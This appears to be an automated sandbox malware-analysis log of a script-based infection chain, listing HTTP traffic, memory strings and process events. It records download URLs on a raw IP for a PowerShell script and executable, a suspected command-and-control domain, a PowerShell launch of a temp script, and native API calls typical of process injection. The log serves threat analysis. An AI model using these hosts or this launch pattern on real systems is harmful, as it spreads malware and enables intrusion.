Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Feb 2025 17:17:51 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MmiuxhBRSHHWjImiMdkthfeUMnKmcrjJTXl3cYPdAILyvC2fGIPqFqRnIfhCzyGcS7vHmBSGLl2QEnbo5eN8SF2lqjggye1pBsTxGRgFiqt3ONONqFXgP2a1vHYL6etsp3BHYzn22hR8%2Ft69SA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9105feadee58c32f-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1497&min_rtt=1497&rtt_var=748&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=831&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f 41 4b c4 30 14 84 ef f9 15 cf 3d e9 c1 bc 6e a9 e0 e1 11 70 b7 5d 5c a8 6b d1 f6 e0 31 6b de 92 42 6d 6a 92 b6 f8 ef a5 5d 04 af 33 df 0c 33 74 93 bf ee eb 8f aa 80 e7 fa a5 84 aa d9 95 c7 3d 6c ee 11 8f 45 7d 40 cc eb fc ea a4 32 41 2c 4e 1b 25 c8 c6 af 4e 91 65 6d 94 a0 d8 c6 8e 55 96 64 70 72 11 0e 6e ec 0d e1 55 14 84 2b 44 67 67 7e 96 dc 56 fd 63 ec 56 09 1a 54 6d 19 3c 7f 8f 1c 22 1b 68 de 4a 98 75 80 de 45 b8 2c 1c b8 1e a2 6d 03 04 f6 13 7b 49 38 2c 4d 5e 09 d2 c6 78 0e 41 3d 0d fa d3 32 a6 32 93 0f 29 dc 36 e7 b1 8f e3 1d bc af 01 d0 11 e6 79 96 da 4c dc c7 d1 b3 e7 41 b7 3e cd 64 d7 4e 0c 95 f3 11 1e 13 c2 bf 32 41 b8 ae 25 5c 5f fe 02 00 00 ff ff e3 02 00 24 e8 d3 ed 20 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5LAK0=np]\k1kBmj]33t=lE}@2A,N%NemUdprnU+Dgg~VcVTm<"hJuE,m{I8,M^xA=22)6yLA>dN2A%\_$ 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Feb 2025 17:17:54 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H%2FD2xDffN8PFXrpBqszegihqajMN8y3SQFtFl9ckVCLHN8x8FT%2B9sQjDMVewkrjWnRs1ORmkfi30fNlpPOh4Mx5%2BoEEGGKUVJYw8d37C7Et0nj8%2B0B510gYKrei89N94crILT3nYgMBeCkD5Nw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9105febdefbf1851-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1707&rtt_var=853&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=851&delivery_rate=0&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f 41 4b c4 30 14 84 ef f9 15 cf 3d e9 c1 bc 6e a9 e0 e1 11 70 b7 5d 5c a8 6b d1 f6 e0 31 6b de 92 42 6d 6a 92 b6 f8 ef a5 5d 04 af 33 df 0c 33 74 93 bf ee eb 8f aa 80 e7 fa a5 84 aa d9 95 c7 3d 6c ee 11 8f 45 7d 40 cc eb fc ea a4 32 41 2c 4e 1b 25 c8 c6 af 4e 91 65 6d 94 a0 d8 c6 8e 55 96 64 70 72 11 0e 6e ec 0d e1 55 14 84 2b 44 67 67 7e 96 dc 56 fd 63 ec 56 09 1a 54 6d 19 3c 7f 8f 1c 22 1b 68 de 4a 98 75 80 de 45 b8 2c 1c b8 1e a2 6d 03 04 f6 13 7b 49 38 2c 4d 5e 09 d2 c6 78 0e 41 3d 0d fa d3 32 a6 32 93 0f 29 dc 36 e7 b1 8f e3 1d bc af 01 d0 11 e6 79 96 da 4c dc c7 d1 b3 e7 41 b7 3e cd 64 d7 4e 0c 95 f3 11 1e 13 c2 bf 32 41 b8 ae 25 5c 5f fe 02 00 00 ff ff e3 02 00 24 e8 d3 ed 20 01 00 00 0d 0a Data Ascii: f5LAK0=np]\k1kBmj]33t=lE}@2A,N%NemUdprnU+Dgg~VcVTm<"hJuE,m{I8,M^xA=22)6yLA>dN2A%\_$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Feb 2025 17:17:56 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ivWPftjNeTD4yqaSVeiSX8a0qqPSZr9l2nUISk9B%2FgsWxK8NjxzDbDfYDSxsA7BRG5N0bhYOwibTVy6P%2BHPmH%2Ff2k4nbelwJ%2BFkdVy%2F2w0sMHF2wSc2vVoNFJmIo4KWwQQ3P5zzBc6iYSf2IeA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9105fecdb8500c8e-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1502&min_rtt=1502&rtt_var=751&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1868&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f 41 4b c4 30 14 84 ef f9 15 cf 3d e9 c1 bc 6e a9 e0 e1 11 70 b7 5d 5c a8 6b d1 f6 e0 31 6b de 92 42 6d 6a 92 b6 f8 ef a5 5d 04 af 33 df 0c 33 74 93 bf ee eb 8f aa 80 e7 fa a5 84 aa d9 95 c7 3d 6c ee 11 8f 45 7d 40 cc eb fc ea a4 32 41 2c 4e 1b 25 c8 c6 af 4e 91 65 6d 94 a0 d8 c6 8e 55 96 64 70 72 11 0e 6e ec 0d e1 55 14 84 2b 44 67 67 7e 96 dc 56 fd 63 ec 56 09 1a 54 6d 19 3c 7f 8f 1c 22 1b 68 de 4a 98 75 80 de 45 b8 2c 1c b8 1e a2 6d 03 04 f6 13 7b 49 38 2c 4d 5e 09 d2 c6 78 0e 41 3d 0d fa d3 32 a6 32 93 0f 29 dc 36 e7 b1 8f e3 1d bc af 01 d0 11 e6 79 96 da 4c dc c7 d1 b3 e7 41 b7 3e cd 64 d7 4e 0c 95 f3 11 1e 13 c2 bf 32 41 b8 ae 25 5c 5f fe 02 00 00 ff ff e3 02 00 24 e8 d3 ed 20 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5LAK0=np]\k1kBmj]33t=lE}@2A,N%NemUdprnU+Dgg~VcVTm<"hJuE,m{I8,M^xA=22)6yLA>dN2A%\_$ 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 11 Feb 2025 17:17:59 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L8IB88h7H8YRIFxx4wI0QToSh36qze%2BaAEJWjJ8FB3MBBlKJskqNUAaHwW7cz%2FYF53fvuGapSBTu2WIpuAM6wgI%2FQ9IiJluAME2Y09LehbSe%2FPPOit8ikekq3QV%2F8azbxhbRFLsRYhs7H1O5bg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 9105fedd9de37d26-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1905&min_rtt=1905&rtt_var=952&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=553&delivery_rate=0&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 64 76 65 6e 74 75 72 65 72 65 70 61 69 72 32 34 2e 6c 69 76 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 120<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at www.adventurerepair24.live Port 80</address></body></html>0

Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120
Source: x.exe, 00000004.00000002.2219132764.0000000003EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/c
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/cr
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/cry
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/cryp
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/bla
Source: x.exe, 00000004.00000002.2219132764.0000000003E5E000.00000004.00000800.00020000.00000000.sdmp, x.exe, 00000004.00000002.2219132764.0000000003E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaq.exe
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqB
Source: wscript.exe, 00000000.00000002.2238347331.0000019EA7B76000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236998434.0000019EA7B75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqq
Source: wscript.exe, wscript.exe, 00000000.00000003.2237149174.0000019EA9AA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236811410.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236811410.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2235955514.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2239294734.0000019EA9960000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2238574754.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2238574754.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2235955514.0000019EA7BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqq.ps1
Source: wscript.exe, 00000000.00000002.2238248307.0000019EA7B6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqq.ps1-10035VDI
Source: wscript.exe, 00000000.00000003.2236811410.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2238574754.0000019EA7BEF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2235955514.0000019EA7BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqq.ps12
Source: wscript.exe, 00000000.00000003.2237149174.0000019EA9AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.120.120.56/crypt/blaqq.ps1p
Source: powershell.exe, 00000002.00000002.2181585118.00000149B877C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2201939820.00000149C752D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2181585118.00000149B75B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2181585118.00000149B7381000.00000004.00000800.00020000.00000000.sdmp, x.exe, 00000004.00000002.2219132764.0000000003EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2181585118.00000149B839A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000002.00000002.2181585118.00000149B75B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: HDIZeRcLxXsNvd.exe, 00000008.00000002.3363072352.0000000001620000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.trosky.lol
Source: HDIZeRcLxXsNvd.exe, 00000008.00000002.3363072352.0000000001620000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.trosky.lol/o88r/
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2181585118.00000149B7381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000002.00000002.2201939820.00000149C752D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2201939820.00000149C752D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2201939820.00000149C752D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000002.00000002.2181585118.00000149B75B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2218418793.00000149CF3BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.cou
Source: wscript.exe, 00000000.00000003.2236811410.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2235955514.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2238574754.0000019EA7C1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: systray.exe, 00000009.00000002.3362471676.000000000311B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: systray.exe, 00000009.00000002.3362471676.000000000311B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: systray.exe, 00000009.00000002.3362471676.000000000311B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: systray.exe, 00000009.00000002.3362471676.000000000311B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: systray.exe, 00000009.00000003.2853977245.0000000007EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000002.00000002.2181585118.00000149B877C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2201939820.00000149C752D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2181585118.00000149B839A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000002.00000002.2181585118.00000149B839A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: HDIZeRcLxXsNvd.exe, 00000008.00000002.3367926182.000000000732A000.00000004.80000000.00040000.00000000.sdmp, systray.exe, 00000009.00000002.3365366897.0000000007C30000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 00000009.00000002.3363843004.0000000005C3A000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: systray.exe, 00000009.00000003.2859320858.0000000007F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\JSDSDGSD.ps1"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007FCAA3 NtClose,	5_2_007FCAA3
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007DAAA1 NtDelayExecution,	5_2_007DAAA1
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_007D1768 NtProtectVirtualMemory,	5_2_007D1768
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014135C0 NtCreateMutant,LdrInitializeThunk,	5_2_014135C0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412B60 NtClose,LdrInitializeThunk,	5_2_01412B60
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_01412DF0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_01412C70
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01413010 NtOpenDirectoryObject,	5_2_01413010
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01413090 NtSetValueKey,	5_2_01413090
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01414340 NtSetContextThread,	5_2_01414340
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01414650 NtSuspendThread,	5_2_01414650
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_014139B0 NtGetContextThread,	5_2_014139B0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412BE0 NtQueryValueKey,	5_2_01412BE0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412BF0 NtAllocateVirtualMemory,	5_2_01412BF0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412B80 NtQueryInformationFile,	5_2_01412B80
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412BA0 NtEnumerateValueKey,	5_2_01412BA0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412AD0 NtReadFile,	5_2_01412AD0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412AF0 NtWriteFile,	5_2_01412AF0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412AB0 NtWaitForSingleObject,	5_2_01412AB0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01413D70 NtOpenThread,	5_2_01413D70
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412D00 NtSetInformationFile,	5_2_01412D00
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412D10 NtMapViewOfSection,	5_2_01412D10
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01413D10 NtOpenProcessToken,	5_2_01413D10
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412D30 NtUnmapViewOfSection,	5_2_01412D30
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412DD0 NtDelayExecution,	5_2_01412DD0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412DB0 NtEnumerateKey,	5_2_01412DB0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412C60 NtCreateKey,	5_2_01412C60
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412C00 NtQueryInformationProcess,	5_2_01412C00
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412CC0 NtQueryVirtualMemory,	5_2_01412CC0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412CF0 NtOpenProcess,	5_2_01412CF0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412CA0 NtQueryInformationToken,	5_2_01412CA0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412F60 NtCreateProcessEx,	5_2_01412F60
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412F30 NtCreateSection,	5_2_01412F30
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412FE0 NtCreateFile,	5_2_01412FE0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412F90 NtProtectVirtualMemory,	5_2_01412F90
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412FA0 NtQuerySection,	5_2_01412FA0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412FB0 NtResumeThread,	5_2_01412FB0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412E30 NtWriteVirtualMemory,	5_2_01412E30
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412EE0 NtQueueApcThread,	5_2_01412EE0
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412E80 NtReadVirtualMemory,	5_2_01412E80
Source: C:\Users\user\AppData\Local\Temp\RegAAsm.exe	Code function: 5_2_01412EA0 NtAdjustPrivilegesToken,	5_2_01412EA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE35C0 NtCreateMutant,LdrInitializeThunk,	9_2_04DE35C0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE4650 NtSuspendThread,LdrInitializeThunk,	9_2_04DE4650
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE4340 NtSetContextThread,LdrInitializeThunk,	9_2_04DE4340
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2CA0 NtQueryInformationToken,LdrInitializeThunk,	9_2_04DE2CA0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_04DE2C70
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2C60 NtCreateKey,LdrInitializeThunk,	9_2_04DE2C60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2DD0 NtDelayExecution,LdrInitializeThunk,	9_2_04DE2DD0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_04DE2DF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2D10 NtMapViewOfSection,LdrInitializeThunk,	9_2_04DE2D10
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2D30 NtUnmapViewOfSection,LdrInitializeThunk,	9_2_04DE2D30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2EE0 NtQueueApcThread,LdrInitializeThunk,	9_2_04DE2EE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2E80 NtReadVirtualMemory,LdrInitializeThunk,	9_2_04DE2E80
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2FE0 NtCreateFile,LdrInitializeThunk,	9_2_04DE2FE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2FB0 NtResumeThread,LdrInitializeThunk,	9_2_04DE2FB0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2F30 NtCreateSection,LdrInitializeThunk,	9_2_04DE2F30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE39B0 NtGetContextThread,LdrInitializeThunk,	9_2_04DE39B0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 9_2_04DE2AD0 NtReadFile,LdrInitializeThunk,	9_2_04DE2AD0
